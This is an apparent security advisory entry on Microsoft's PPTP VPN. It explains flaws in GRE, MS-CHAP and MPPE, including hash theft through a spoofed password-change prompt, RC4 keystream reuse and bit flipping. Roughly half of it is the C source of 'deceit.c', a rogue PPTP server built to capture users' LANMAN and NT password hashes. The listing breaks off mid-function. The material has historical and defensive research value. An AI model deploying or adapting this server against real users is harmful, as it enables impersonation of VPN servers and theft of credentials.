COMMAND

    PPTP

SYSTEMS AFFECTED

    Win NT, 95, 98

PROBLEM

    Aleph  One  found  following.   Point-to-Point  Tunneling Protocol
    (PPTP) is a new networking  technology that allows you to  use the
    Internet as your own secure  virtual private network (VPN).   PPTP
    is integrated with the  Remote Access Services (RAS)  server which
    is built into Windows NT Server.   With PPTP, your users can  dial
    into a local ISP, or connect directly to the Internet, and  access
    their network just as easily and securely as if they were at their
    desks.  PPTP is really  a number of protocols cobbled  together to
    make a whole.  The players are:

        GRE  - The  Generic Encapsulation  Protocol. The  protocol  is
               defined  in  RFC  1701  and  RFC  1702.   Microsoft has
               defined  their   own  extensions.   They  call    their
               modifications GRE v2.

        PPP  - The Point-to-Point  Protocol.  The protocol is  defined
               in RFC 1661.  The protocol is used for the transmission
               of multi-protocol datagrams over point-to-point links.

       PPTP  - PPTP  uses GRE  to tunnel  PPP and  adds a  connections
               setup and control protocol over a TCP session.

    MS-CHAP  - This is Microsoft's variant of the more common PPP CHAP
               authentication protocol.   It is  a challenge  response
               authentication algorithm.   It supplies  the  challenge
               used by MPPE  (see below) to  encrypt the session.   It
               also has two sub-protocols for changing passwords. It's
               defined in the draft draft-ietf-pppext-mschap-00.txt.

       MPPE  - Microsoft's  Point-to-Point Encryption protocol.   This
               is the protocol in  charge of generating a  session key
               and encrypting the session. It is defined in the drafts
               draft-ietf-pppext-mppe-00.txt  and
               draft-ietf-pppext-mppe-01.txt.

    PPTP creates a connection setup  and control channel using TCP  to
    the PPTP server  (Microsoft's RAS).   Using this connection,  PPTP
    establishes a new GRE tunnel which will carry PPP packets from the
    client to the server.  The client will authenticate to the  server
    via  PPP's  negotiation  mechanism  using  MS-CHAP  and  will then
    encrypt all PPP data packets using MPPE.

    PPTP creates a connection setup and control channel to the  server
    using TCP.  Originally  the TCP port used  was 5678.  Later  on it
    was changed to 1723.  This is the IANA assigned port number.   The
    control connection is  not authenticated in  any way.   It is easy
    for  Mallory  (the   malicious  interloper)  to   take  over   the
    connection via TCP hijacking techniques.  She can then issue  Stop
    Session Request  commands.   This will  close the  control channel
    and at the same time all active calls (tunnels) will be cleared.

    PPP packets are encapsulated in GRE and tunneled on top of IP.
    GRE uses IP protocol number 47.  GRE packets are similar in some
    respects to TCP segments.  They both may carry a sequence and
    acknowledgement number.  GRE also uses a sliding window to avoid
    congestion.

    This has some important implications.  It means that if we want to
    spoof PPP packets encapsulated  in GRE, we will  desynchronize the
    GRE channel.   A possible way  around this is  the use of  the "S"
    flag in the GRE header.  This flag tells the end point if the  GRE
    packet has a sequence number.   It is possible that a badly  coded
    implementation will accept a GRE packet with data even if it  does
    not have a sequence number.   This is because in the original  GRE
    standard the use of  sequence numbers was optional.   Furthermore,
    the specification does  not mention how  an end system  should act
    if it receives a GRE packet with a duplicate sequence number.   It
    may  simply  discard  it  and  send another acknowledgement.  This
    would mean we do not need to resynchronize GRE at all.  The  other
    end will  send an  acknowledgement for  the packet  we spoofed and
    the  encapsulated  PPP  should  not  become desynchronized.  As of
    this writing this possibility hasn't been tested yet.

    It is also interesting to note that the original GRE specification
    has many options to do  things like source routing which  are left
    as implementation specific.  If  you open a hole in  your firewall
    for GRE just so you can use PPTP you might be letting in more than
    you think.  This area needs further investigation.

    MS-CHAP is  a challenge  response protocol.   The server  send the
    client an  8 byte  challenge.   The client  computes a response by
    encrypting the challenge  with the NT  one way hash  and then with
    the  LANMAN  one  way  hash.   Like  most other challenge/response
    protocols, this one is vulnerable to a dictionary by such tools as
    L0phtcrack.  As  Schneier and Mudge  describe in their  paper, the
    LANMAN  based  response  is  easier  to  crack than it normally is
    because here it is divided  into three pieces which are  encrypted
    independently.   This  allows  for  a  speed  up  in  breaking the
    password.  Please  see their paper  for a detailed  explanation of
    the process.

    The PPTP Performance update  for Windows NT 4.0  (PPTP2-FIX) stops
    the PPTP  Windows NT  client from  sending the  LANMAN hash  based
    response if the  client is configured  to use 128-bit  encryption.
    The same fix  also allows the  server to reject  PPTP clients that
    attempt to authenticate using the LANMAN hash based response.

    MS-CHAP has two sub-protocols  for changing password.   In version
    one the  client encrypts  the new  and old  hashes (NT and LANMAN)
    with  the  challenge  the  server  sent  over the wire.  A passive
    attacker can simply  decrypt the hashes  and steal them.   Version
    two encrypts the new hashes  with the old hashes and  encrypts the
    old hashes with the new hashes.  Only the server, which knows  the
    old hashes, will be able to  decrypt the new hashes and use  these
    to decrypt the old hashes and verify the user's identity.

    This feature of MS-CHAP can  be used to steal the  user's password
    hashes if  Mallory can  masquerade as  the PPTP  server.   Several
    methods to masquerade as the server come into mind, including  DNS
    hijacking and RIP spoofing.   Once the unsuspecting user  connects
    to Mallory's rogue  server and attempts  to authenticate she  will
    return a ERROR_PASSWD_EXPIRE error to the user and tell the client
    to  use  the  older  version  of the password change sub-protocol.
    The user will then be prompted by the PPTP client to enter his old
    and new password.   The client will  proceed to send  the new  and
    old password hashes, LANMAN  and NT, encrypted with  the challenge
    the rouge server sent.   Now Mallory can use  the hashes to  logon
    into the real PPTP server and impersonate the user.

    The  MS-CHAP  draft  deprecates  the  use  of  the change password
    version  1  protocol  but  Microsoft's  implementation continue to
    support it.   This vulnerability was  verified using Windows  NT's
    RAS  PPTP  client  with  the  PPTP  Performance Update (PPTP2-FIX)
    installed.   At  the  end  you  will  find  some  source code that
    implements  a  demonstration  PPTP  server  that  asks the user to
    change passwords using  the older protocol  and prints the  stolen
    hashes on the screen.

    The are two drafts for MPPE. We'll discuss the earlier one  first.
    MPPE uses  RC4, a  stream cipher,  to encrypt  the PPP  datagrams.
    MPPE is negotiated as a compression protocol as part of PPP's Link
    Control Protocol negotiation.  MPPE currently supports 40 and  128
    bit session keys, although more  key lengths can be defined.   The
    40-bit session key is derived from the first 8 bytes of the LANMAN
    hash. The session key will be the same for all sessions until  the
    user changes his password.  The 128-bit session key is created  by
    taking the first 16 bytes of  the MD4 hash and the first  16 bytes
    of the NT hash, and then hashing them with the servers  challenge.
    Microsoft claims  that they  hash the  NT hash  to protect  it.  I
    fail to see their point.   The password hash, nor it's hash,  ever
    go over  the wire.   Why they  selected this  algorithm remains  a
    mystery.  The new  MPPE draft adds an  option to use a  40-bit key
    derived from the NT hash.

    As Schneier  and Mudge  point out,  it is  misleading to  say MPPE
    provides 128-bit,  or even  40-bit, security.   The 40-bit  LANMAN
    based session key is derived  from the password only, and  as such
    will have  a much  lower entropy  than a  random 40-bit  key.  The
    128-bit and  40-bit NT  hash based  session keys  are derived from
    both the users password and the server's challenge.  Depending  on
    how good the server's random number generator is, the session  key
    may have a  much lower entropy  than 128 or  40 bits.   A study of
    how Microsoft's PPTP server,  and NT in general,  generates random
    numbers would be interesting.  The only way to guarantee the  full
    strength of the key is by generating it with a good RNG.

    As  Schneier  and  Mudge  also  point,  out  only PPP packets with
    protocol numbers between 0x21  and 0xFA are encrypted  (in essence
    only data packets are encrypted). In contrast, the PPP  Encryption
    Control Protocol (RFC  1968) encrypts all  packets other than  LCP
    packets after  ECP is  negotiated.   This means  Mallory can spoof
    Network Control  Protocol packets  with impunity.   It also  means
    she can obtain some useful information by simply sniffing the  NCP
    packets.  Things like whether  the internal network uses IP,  IPX,
    or NetBIOS, the  internal IP address  of the PPTP  client, NetBIOS
    names,  the  IP  address  of  internal  WINS  and DNS servers, the
    clients internal IPX node number and other things.  Read the  IPCP
    (RFC 13320, NBFCP (RFC  2097) and IPXCP (RFC  1552) specifications
    for more information.

    Stream ciphers, like RC4, are susceptible to attack if two or more
    plaintexts  are  encrypted  with  the  same  key.  If you take two
    ciphertexts encrypted with the same key and xor them together  you
    will obtain the two plaintexts  xor'ed together.  If you  can make
    an educated guess as to the structure and contents of part of  one
    of the  plaintexts you  will be  able to  obtain the corresponding
    plaintext in the  other message.   MPPE is susceptible  to such an
    attack.  As mentioned above the 40-bit session key is the same  in
    each  session.   Mallory  can  passively  monitor  the network and
    collect many sessions,  all encrypted with  the same key  that she
    can then attempt  to break.   The problem is  compounded since she
    has learned things  like the clients  internal IP address  and its
    NetBIOS name which will be in the encrypted packets by  monitoring
    the NCP PPP packets.   MPPE uses the same  key in each  direction.
    For  each  session  at  least  two  packets,  one  inbound and one
    outbound, will be encrypted with the same key.  In this way,  even
    traffic  protected  by  the  128-bit  unique  session  key  can be
    attacked.

    MPPE being a  sub-protocol of PPP,  a datagram protocol,  does not
    expect a reliable link.   Instead it maintains a 12-bit  coherency
    count that  is increased  for each  packet to  keep the encryption
    tables  synchronized.   Each  time  the  low  order  byte  of  the
    coherency count equals  0xFF (every 256  packets) the session  key
    is regenerated based on the  original session key and the  current
    session key.  If MPPE ever sees a packet with a coherency that  it
    is not expecting it sends a CCP Reset-Request packet to the  other
    end.  The other end,  upon seeing this packet, will  re-initialize
    the RC4 tables using the current session key.  The next packet  it
    sends will have the  flushed bit set.   This bit will indicate  to
    the other  end that  it should  re-initialize its  own tables.  In
    this way they  become resynchronized.   This mode of  operation is
    called "stateful mode" in the new MPPE draft.

    What does this all mean to us?   Well, it means we can force  both
    ends of the connection to  keep encrypting their packets with  the
    same key until  the low order  sequence number reaches  0xFF.  For
    example assume Alice  and Bob have  just set up  the communication
    channel.  They both have initialized their session keys and expect
    a packet with a coherency count of zero.

        Alice           ->      Bob

    Alice sends Bob a packet  numbered zero encrypted with the  cipher
    stream  generated  by  the  RC4  cipher  and  increments  her sent
    coherency count to one.  Bob receives the packet, decrypts it, and
    increments his receive coherency count to 1.

        Mallory (Bob)   ->      Alice

    Mallory sends Alice a spoofed (remember this is datagram  protocol
    - assuming we don't  desynchronize GRE) CCP Reset-Request  packet.
    Alice immediately re-initializes her RC4 tables to their  original
    state.

        Alice           ->      Bob

    Alice sends another packet to Bob.  This packet will be  encrypted
    with the same  cipherstream as the  last packet.   The packet will
    also have the FLUSHED bit  set.  This will make  Bob re-initialize
    its own RC4 tables.  Mallory can continue to play this game up  to
    a total of 256 times after which the session key will be  changed.
    By this point Mallory will  have collected 256 packets from  Alice
    to Bob all  encrypted with the  same cipher stream.   Furthermore,
    since  Alice  and  Bob  start  with  the  same session key in each
    direction Mallory can play the same game in the opposite direction
    collecting  another  256  packets  encrypted  with the same cipher
    stream as the ones going from Alice to Bob.

    The Apr 1998 version of  the draft adds a "stateless  mode" option
    (otherwise  known   as  "historyless   mode"  in   some  Microsoft
    literature) to the negotiation packets.  This option tells MPPE to
    change the session key after  every packet and to ignore  all this
    CCP  Reset-Request  and  flushed  bit  business.   This option was
    introduced  to  improve  PPTP's  performance.   Although re-keying
    after each packet cuts the cipher performance by almost half,  now
    PPTP  no  longer  has  to  wait   a  whole  round  trip  time   to
    resynchronize.  This, in  effect improves the performance  of PPTP
    and at  the same  time made  the attack  described above  useless.
    This new stateless mode  was incorporated in the  PPTP Performance
    Update for Windows NT 4.0 (PPTP2-FIX).

    Schneier and Mudge describe a bit flipping attack in their  paper.
    Because of the properties of the RC4 cipher as used within MPPE an
    attacker can flip  bits in the  ciphertext that will  be decrypted
    correctly by MPPE.  In  this way an attacker can  modify encrypted
    packets while they are in transit.

    Schneier and  Mudge describe  a number  of implementation  bugs in
    Microsoft's PPTP control channel that crashed Windows NT with  the
    Blue Screen of Death.  Keving Wormington has found similar problem
    as posted some demonstration code  to the BugTraq mailing list  in
    Nov 1997.  Microsoft claims to have fixed this or similar problems
    in their PPTP-FIX hotfix.  Schneier and Mudge also found that  the
    Windows  95  client  does  not  zero  fill  its  buffers and leaks
    information in  its protocol  packets.   A bug  in the PPTP server
    allows clients to remain  connected while packets are  transmitted
    in the clear if the encryption negotiation between the client  and
    server fails.  This problem is documented in Microsoft's Knowledge
    Base article Q177670.  They claim to have fixed it in the PPTP-FIX
    hotfix.

    Text here was  taken from Phrack  53.  YOU  SHOULD READ IT.   Code
    below is second release of orginal that appeared in Phrack.

    /*
     * deceit.c by Aleph One
     *
     * This program implements enough of the PPTP protocol to steal the
     * password hashes of users that connect to it by asking them to change
     * their password via the MS-CHAP password change protocol version 1.
     *
     * The GRE code, PPTP structures and defines were shamelessly stolen from
     * C. Scott Ananian's <cananian@alumni.princeton.edu> Linux PPTP client
     * implementation.
     *
     * This code has been tested to work againts Windows 95 with the Winsock,
     * DUN 1.2 and DUN 1.2b updates, and against Windows NT 4.0 with the PPTP
     * Performance Update running under HP-UX.
     *
     * Windows 95 does not send the old and new NT hashes when changing the
     * password.
     *
     * Under Windows NT 4.0 if the user has selected to use the same username
     * and password to logon to the PPTP server as the currently logged on
     * user but enters a different old password when the PPTP client password
     * change dialog box appears the client will send the hash for a null
     * string for both the old LANMAN hash and the old NT hash.
     *
     * You must link this program against libdes. Email messages asking how
     * to do so will go to /dev/null.
     *
     * Define BROKEN_RAW_CONNECT if your system does not know how to handle
     * connect() on a raw socket. Normally if you use connect with a raw
     * socket you should only get from the socket IP packets with the
     * source address that you specified to connect(). Under HP-UX using
     * connect makes read never to return. By not using connect we
     * run the risk of confusing the GRE decapsulation process if we receive
     * GRE packets from more than one source at the same time.
     */

    #include <stdio.h>
    #include <strings.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <signal.h>
    #include <unistd.h>

    #include "des.h"

    #ifdef __hpux__
    #define u_int8_t uint8_t
    #define u_int16_t uint16_t
    #define u_int32_t uint32_t
    #endif

    /* define these as appropiate for your architecture */
    #define hton8(x)  (x)
    #define ntoh8(x)  (x)
    #define hton16(x) htons(x)
    #define ntoh16(x) ntohs(x)
    #define hton32(x) htonl(x)
    #define ntoh32(x) ntohl(x)

    #define PPTP_MAGIC 0x1A2B3C4D /* Magic cookie for PPTP datagrams */
    #define PPTP_PORT  1723       /* PPTP TCP port number            */
    #define PPTP_PROTO 47         /* PPTP IP protocol number         */

    #define PPTP_MESSAGE_CONTROL            1
    #define PPTP_MESSAGE_MANAGE             2

    #define PPTP_VERSION_STRING     "1.00"
    #define PPTP_VERSION            0x100
    #define PPTP_FIRMWARE_STRING    "0.01"
    #define PPTP_FIRMWARE_VERSION   0x001

    /* (Control Connection Management) */
    #define PPTP_START_CTRL_CONN_RQST       1
    #define PPTP_START_CTRL_CONN_RPLY       2
    #define PPTP_STOP_CTRL_CONN_RQST        3
    #define PPTP_STOP_CTRL_CONN_RPLY        4
    #define PPTP_ECHO_RQST                  5
    #define PPTP_ECHO_RPLY                  6

    /* (Call Management) */
    #define PPTP_OUT_CALL_RQST              7
    #define PPTP_OUT_CALL_RPLY              8
    #define PPTP_IN_CALL_RQST               9
    #define PPTP_IN_CALL_RPLY               10
    #define PPTP_IN_CALL_CONNECT            11
    #define PPTP_CALL_CLEAR_RQST            12
    #define PPTP_CALL_CLEAR_NTFY            13

    /* (Error Reporting) */
    #define PPTP_WAN_ERR_NTFY               14

    /* (PPP Session Control) */
    #define PPTP_SET_LINK_INFO              15

    /* (Framing capabilities for msg sender) */
    #define PPTP_FRAME_ASYNC        1
    #define PPTP_FRAME_SYNC         2
    #define PPTP_FRAME_ANY          3

    /* (Bearer capabilities for msg sender) */
    #define PPTP_BEARER_ANALOG      1
    #define PPTP_BEARER_DIGITAL     2
    #define PPTP_BEARER_ANY         3

    struct pptp_header {
      u_int16_t length;       /* message length in octets, including header */
      u_int16_t pptp_type;    /* PPTP message type. 1 for control message.  */
      u_int32_t magic;        /* this should be PPTP_MAGIC.                 */
      u_int16_t ctrl_type;    /* Control message type (0-15)                */
      u_int16_t reserved0;    /* reserved.  MUST BE ZERO.                   */
    };

    struct pptp_start_ctrl_conn { /* for control message types 1 and 2 */
      struct pptp_header header;

      u_int16_t version;      /* PPTP protocol version.  = PPTP_VERSION     */
      u_int8_t  result_code;  /* these two fields should be zero on rqst msg*/
      u_int8_t  error_code;   /* 0 unless result_code==2 (General Error)    */
      u_int32_t framing_cap;  /* Framing capabilities                       */
      u_int32_t bearer_cap;   /* Bearer Capabilities                        */
      u_int16_t max_channels; /* Maximum Channels (=0 for PNS, PAC ignores) */
      u_int16_t firmware_rev; /* Firmware or Software Revision              */
      u_int8_t  hostname[64]; /* Host Name (64 octets, zero terminated)     */
      u_int8_t  vendor[64];   /* Vendor string (64 octets, zero term.)      */
      /* MS says that end of hostname/vendor fields should be filled with   */
      /* octets of value 0, but Win95 PPTP driver doesn't do this.          */
    };

    struct pptp_out_call_rqst { /* for control message type 7 */
      struct pptp_header header;
      u_int16_t call_id;      /* Call ID (unique id used to multiplex data)  */
      u_int16_t call_sernum;  /* Call Serial Number (used for logging)       */
      u_int32_t bps_min;      /* Minimum BPS (lowest acceptable line speed)  */
      u_int32_t bps_max;      /* Maximum BPS (highest acceptable line speed) */
      u_int32_t bearer;       /* Bearer type                                 */
      u_int32_t framing;      /* Framing type                                */
      u_int16_t recv_size;    /* Recv. Window Size (no. of buffered packets) */
      u_int16_t delay;        /* Packet Processing Delay (in 1/10 sec)       */
      u_int16_t phone_len;    /* Phone Number Length (num. of valid digits)  */
      u_int16_t reserved1;    /* MUST BE ZERO                                */
      u_int8_t  phone_num[64]; /* Phone Number (64 octets, null term.)       */
      u_int8_t subaddress[64]; /* Subaddress (64 octets, null term.)         */
    };

    struct pptp_out_call_rply { /* for control message type 8 */
      struct pptp_header header;
      u_int16_t call_id;      /* Call ID (used to multiplex data over tunnel)*/
      u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst)*/
      u_int8_t  result_code;  /* Result Code (1 is no errors)                */
      u_int8_t  error_code;   /* Error Code (=0 unless result_code==2)       */
      u_int16_t cause_code;   /* Cause Code (addt'l failure information)     */
      u_int32_t speed;        /* Connect Speed (in BPS)                      */
      u_int16_t recv_size;    /* Recv. Window Size (no. of buffered packets) */
      u_int16_t delay;        /* Packet Processing Delay (in 1/10 sec)       */
      u_int32_t channel;      /* Physical Channel ID (for logging)           */
    };


    struct pptp_set_link_info {   /* for control message type 15 */
      struct pptp_header header;
      u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst) */
      u_int16_t reserved1;    /* MUST BE ZERO                                   */
      u_int32_t send_accm;    /* Send ACCM (for PPP packets; default 0xFFFFFFFF)*/
      u_int32_t recv_accm;    /* Receive ACCM (for PPP pack.;default 0xFFFFFFFF)*/
    };

    #define PPTP_GRE_PROTO  0x880B
    #define PPTP_GRE_VER    0x1

    #define PPTP_GRE_FLAG_C 0x80
    #define PPTP_GRE_FLAG_R 0x40
    #define PPTP_GRE_FLAG_K 0x20
    #define PPTP_GRE_FLAG_S 0x10
    #define PPTP_GRE_FLAG_A 0x80

    #define PPTP_GRE_IS_C(f) ((f)&PPTP_GRE_FLAG_C)
    #define PPTP_GRE_IS_R(f) ((f)&PPTP_GRE_FLAG_R)
    #define PPTP_GRE_IS_K(f) ((f)&PPTP_GRE_FLAG_K)
    #define PPTP_GRE_IS_S(f) ((f)&PPTP_GRE_FLAG_S)
    #define PPTP_GRE_IS_A(f) ((f)&PPTP_GRE_FLAG_A)

    struct pptp_gre_header {
      u_int8_t flags;               /* bitfield */
      u_int8_t ver;                 /* should be PPTP_GRE_VER (enhanced GRE) */
      u_int16_t protocol;           /* should be PPTP_GRE_PROTO (ppp-encaps) */
      u_int16_t payload_len;        /* size of ppp payload, not inc. gre header */
      u_int16_t call_id;            /* peer's call_id for this session */
      u_int32_t seq;                /* sequence number.  Present if S==1 */
      u_int32_t ack;                /* seq number of highest packet recieved by */
                                /*  sender in this session */
    };

    #define PACKET_MAX 8196

    static u_int32_t ack_sent, ack_recv;
    static u_int32_t seq_sent, seq_recv;
    static u_int16_t pptp_gre_call_id;

    #define PPP_ADDRESS                     0xFF
    #define PPP_CONTROL                     0x03

    /* PPP Protocols */
    #define PPP_PROTO_LCP                   0xc021
    #define PPP_PROTO_CHAP                  0xc223

    /* LCP Codes */
    #define PPP_LCP_CODE_CONF_RQST          1
    #define PPP_LCP_CODE_CONF_ACK           2
    #define PPP_LCP_CODE_IDENT              12

    /* LCP Config Options */
    #define PPP_LCP_CONFIG_OPT_AUTH         3
    #define PPP_LCP_CONFIG_OPT_MAGIC        5
    #define PPP_LCP_CONFIG_OPT_PFC          7
    #define PPP_LCP_CONFIG_OPT_ACFC         8

    /* Auth Algorithms */
    #define PPP_LCP_AUTH_CHAP_ALGO_MSCHAP   0x80

    /* CHAP Codes */
    #define PPP_CHAP_CODE_CHALLENGE                 1
    #define PPP_CHAP_CODE_RESPONCE                  2
    #define PPP_CHAP_CODE_SUCESS                    3
    #define PPP_CHAP_CODE_FAILURE                   4
    #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V1        5
    #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V2        6

    #define PPP_CHAP_CHALLENGE_SIZE         8
    #define PPP_CHAP_RESPONCE_SIZE          49

    #define MSCHAP_ERROR    "E=648 R=0"

    struct ppp_header {
        u_int8_t address;
        u_int8_t control;
        u_int16_t proto;
    };

    struct ppp_lcp_chap_header {
      u_int8_t code;
      u_int8_t ident;
      u_int16_t length;
    };

    struct ppp_lcp_packet {
      struct ppp_header ppp;
      struct ppp_lcp_chap_header lcp;
    };

    struct ppp_lcp_chap_auth_option {
      u_int8_t type;
      u_int8_t length;
      u_int16_t auth_proto;
      u_int8_t algorithm;
    };

    struct ppp_lcp_magic_option {
      u_int8_t type;
      u_int8_t length;
      u_int32_t magic;
    };

    struct ppp_lcp_pfc_option {
      u_int8_t type;
      u_int8_t length;
    };

    struct ppp_lcp_acfc_option {
      u_int8_t type;
      u_int8_t length;
    };


    struct ppp_chap_challenge {
      u_int8_t size;
      union {
        unsigned char challenge[8];
        struct {
          unsigned char lanman[24];
          unsigned char nt[24];
          u_int8_t flag;
        } responce;
      } value;
      /* name */
    };

    struct ppp_mschap_change_password {
      char old_lanman[16];
      char new_lanman[16];
      char old_nt[16];
      char new_nt[16];
      u_int16_t pass_length;
      u_int16_t flags;
    };

    #define ppp_chap_responce       ppp_chap_challenge

    void net_init();
    void getjiggywithit();
    void handleit(struct sockaddr_in *);
    void send_start_ctrl_conn_rply();
    void send_out_call_rply(struct pptp_out_call_rqst *, struct sockaddr_in *);
    int decaps_gre (int (*cb)(void *pack, unsigned len));
    int encaps_gre (void *pack, unsigned len);
    int do_ppp(void *pack, unsigned len);
    void do_gre(struct sockaddr_in *);
    void send_lcp_conf_rply(void *);
    void send_lcp_conf_rqst();
    void send_chap_challenge();
    void send_chap_failure();
    void print_challenge_responce(void *);
    void paydirt(void *);


    char *n;
    int sd, rsd, pid;

    void main(int argc, char **argv)
    {
      n = argv[0];
      net_init();
      getjiggywithit();
    }

    void net_init()
    {
      int yes = 1;
      struct sockaddr_in sa;

      if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror(n); exit(1); }
      if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) != 0)
      {
        perror(n);
        exit(1);
      }

      bzero((char *) &sa, sizeof(sa));
      sa.sin_family      = AF_INET;
      sa.sin_port        = htons(PPTP_PORT);
      sa.sin_addr.s_addr = htonl(INADDR_ANY);

      if (bind(sd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror(n); exit(1); }

      if (listen(sd, 5) < 0) { perror(n); exit(1); }
    }

    void getjiggywithit()
    {
      struct sockaddr_in sa;
      int sucker, size;
      size = sizeof(sa);



      if ((sucker = accept(sd, (struct sockaddr *)&sa, &size)) == -1)
      {
        perror(n);
        exit(1);
      }
      close(sd);
      sd = sucker;
      handleit(&sa);
      exit(0);
    }

    void handleit(struct sockaddr_in *sa)
    {
      union {
        struct pptp_header h;
        unsigned char buffer[8196];
      } p;
      int hlen, len, type;

      hlen = sizeof(struct pptp_header);

      for(;;)
      {
        len = read(sd, p.buffer, hlen);
        if (len == -1) { perror(n); exit(1); }
        if (len != hlen) { printf("Short read.\n"); exit(1); }

        len = read(sd, p.buffer + hlen, ntoh16(p.h.length) - hlen);
        if (len == -1) { perror(n); exit(1); }
        if (len != (ntoh16(p.h.length) - hlen)) {printf("Short read.\n"); exit(1);}

        if (ntoh32(p.h.magic) != 0x1A2B3C4D) { printf("Bad magic.\n"); exit(1); }
        if (ntoh16(p.h.pptp_type) != 1) {printf("Not a control message.\n");exit(1);}

        type = ntoh16(p.h.ctrl_type);
        switch(type)
        {
          /* we got a live one */
          case PPTP_START_CTRL_CONN_RQST:
            send_start_ctrl_conn_rply();
            break;
          case PPTP_OUT_CALL_RQST:
            send_out_call_rply((struct pptp_out_call_rqst *)&p, sa);
            break;
          case PPTP_SET_LINK_INFO:
            printf("<- PPTP Set Link Info\n");
            break;
          default:
            printf("<- PPTP unknown packet: %d\n", type);
        }
      }
    }

    void send_start_ctrl_conn_rply()
    {
      struct pptp_start_ctrl_conn p;
      int len, hlen;

      hlen  = sizeof(struct pptp_start_ctrl_conn);

      printf("<- PPTP Start Control Connection Request\n");
      printf("-> PPTP Start Control Connection Reply\n");

      bzero((char *)&p, hlen);
      p.header.length    = hton16(hlen);
      p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL);
      p.header.magic     = hton32(PPTP_MAGIC);
      p.header.ctrl_type = hton16(PPTP_START_CTRL_CONN_RPLY);
      p.version          = hton16(PPTP_VERSION);
      p.result_code      = 1;
      p.framing_cap      = hton32(PPTP_FRAME_ASYNC);   /* whatever */
      p.bearer_cap       = hton32(PPTP_BEARER_ANALOG); /* ditto    */
      bcopy("owned", p.hostname, 5);
      bcopy("r00t", p.vendor, 4);

      len = write(sd, &p, hlen);
      if (len == -1) { perror(n); exit(1); }
      if (len != hlen) { printf("Short write.\n"); exit(1); }
    }

    static gre = 0;

    void send_out_call_rply(struct pptp_out_call_rqst *r, struct sockaddr_in *sa)
    {
      struct pptp_out_call_rply p;
      int len, hlen;

      hlen = sizeof(struct pptp_out_call_rply);

      printf("<- PPTP Outgoing Call Request\n");
      printf("-> PPTP Outgoing Call Reply\n");

      pptp_gre_call_id = r->call_id;

      /* Start a process to handle the GRE/PPP packets */
      if (!gre)
      {
        gre = 1;
        switch((pid = fork()))
        {
          case -1:
            perror(n);
            exit(1);

          case 0:
            close(sd);
            do_gre(sa);
            exit(1);        /* not reached */
        }
      }

      bzero((char *)&p, hlen);
      p.header.length    = hton16(hlen);
      p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL);
      p.header.magic     = hton32(PPTP_MAGIC);
      p.header.ctrl_type = hton16(PPTP_OUT_CALL_RPLY);
      p.call_id          = hton16(31337);
      p.call_id_peer     = r->call_id;
      p.result_code      = 1;
      p.speed            = hton32(28800);
      p.recv_size        = hton16(5);   /* whatever */
      p.delay            = hton16(50);  /* whatever */
      p.channel          = hton32(31337);

      len = write(sd, &p, hlen);
      if (len == -1) { perror(n); exit(1); }
      if (len != hlen) { printf("Short write.\n"); exit(1); }

    }

    struct sockaddr_in src_addr;

    void do_gre(struct sockaddr_in *sa)
    {
    #ifndef BROKEN_RAW_CONNECT
      struct sockaddr_in src_addr;
    #endif
      int n, stat;

      /* Open IP protocol socket */
      rsd = socket(AF_INET, SOCK_RAW, PPTP_PROTO);
      if (rsd<0) { perror("gre"); exit(1); }
      src_addr.sin_family = AF_INET;
      src_addr.sin_addr   = sa->sin_addr;
      src_addr.sin_port   = 0;

    #ifndef BROKEN_RAW_CONNECT
      if (connect(rsd, (struct sockaddr *) &src_addr, sizeof(src_addr))<0) {
        perror("gre"); exit(1);
      }
    #endif

      ack_sent = ack_recv = seq_sent = seq_recv = 0;
      stat=0;

      /* Dispatch loop */
      while (stat>=0) { /* until error happens on s */
        struct timeval tv = {0, 0}; /* non-blocking select */
        fd_set rfds;
        int retval;

        n = rsd + 1;
        FD_ZERO(&rfds);
        FD_SET(rsd, &rfds);

        /* if there is a pending ACK, do non-blocking select */
        if (ack_sent!=seq_recv)
          retval = select(n, &rfds, NULL, NULL, &tv);
        else /* otherwise, block until data is available */
          retval = select(n, &rfds, NULL, NULL, NULL);
        if (retval==0 && ack_sent!=seq_recv) /* if outstanding ack */
          encaps_gre(NULL, 0); /* send ack with no payload */
        if (FD_ISSET(rsd,  &rfds)) /* data waiting on socket */
          stat=decaps_gre(do_ppp);
      }

      /* Close up when done. */
      close(rsd);
    }

    int decaps_gre (int (*cb)(void *pack, unsigned len)) {
      unsigned char buffer[PACKET_MAX+64/*ip header*/];
      struct pptp_gre_header *header;
      int status, ip_len=0;

      if((status=read(rsd, buffer, sizeof(buffer)))<0)
        {perror("gre"); exit(1); }
      /* strip off IP header, if present */
      if ((buffer[0]&0xF0)==0x40)
        ip_len = (buffer[0]&0xF)*4;
      header = (struct pptp_gre_header *)(buffer+ip_len);

      /* verify packet (else discard) */
      if (((ntoh8(header->ver)&0x7F)!=PPTP_GRE_VER) || /* version should be 1   */
          (ntoh16(header->protocol)!=PPTP_GRE_PROTO)|| /* GRE protocol for PPTP */
          PPTP_GRE_IS_C(ntoh8(header->flags)) ||    /* flag C should be clear   */
          PPTP_GRE_IS_R(ntoh8(header->flags)) ||    /* flag R should be clear   */
          (!PPTP_GRE_IS_K(ntoh8(header->flags))) || /* flag K should be set     */
          ((ntoh8(header->flags)&0xF)!=0)) { /* routing and recursion ctrl = 0  */
        /* if invalid, discard this packet */
        printf("Discarding GRE: %X %X %X %X %X %X",
             ntoh8(header->ver)&0x7F, ntoh16(header->protocol),
             PPTP_GRE_IS_C(ntoh8(header->flags)),
             PPTP_GRE_IS_R(ntoh8(header->flags)),
             PPTP_GRE_IS_K(ntoh8(header->flags)),
             ntoh8(header->flags)&0xF);
        return 0;
      }
      if (PPTP_GRE_IS_A(ntoh8(header->ver))) { /* acknowledgement present */
        u_int32_t ack = (PPTP_GRE_IS_S(ntoh8(header->flags)))?
          header->ack:header->seq; /* ack in different place if S=0 */
        if (ack > ack_recv) ack_recv = ack;
        /* also handle sequence number wrap-around (we're cool!) */
        if (((ack>>31)==0)&&((ack_recv>>31)==1)) ack_recv=ack;
      }
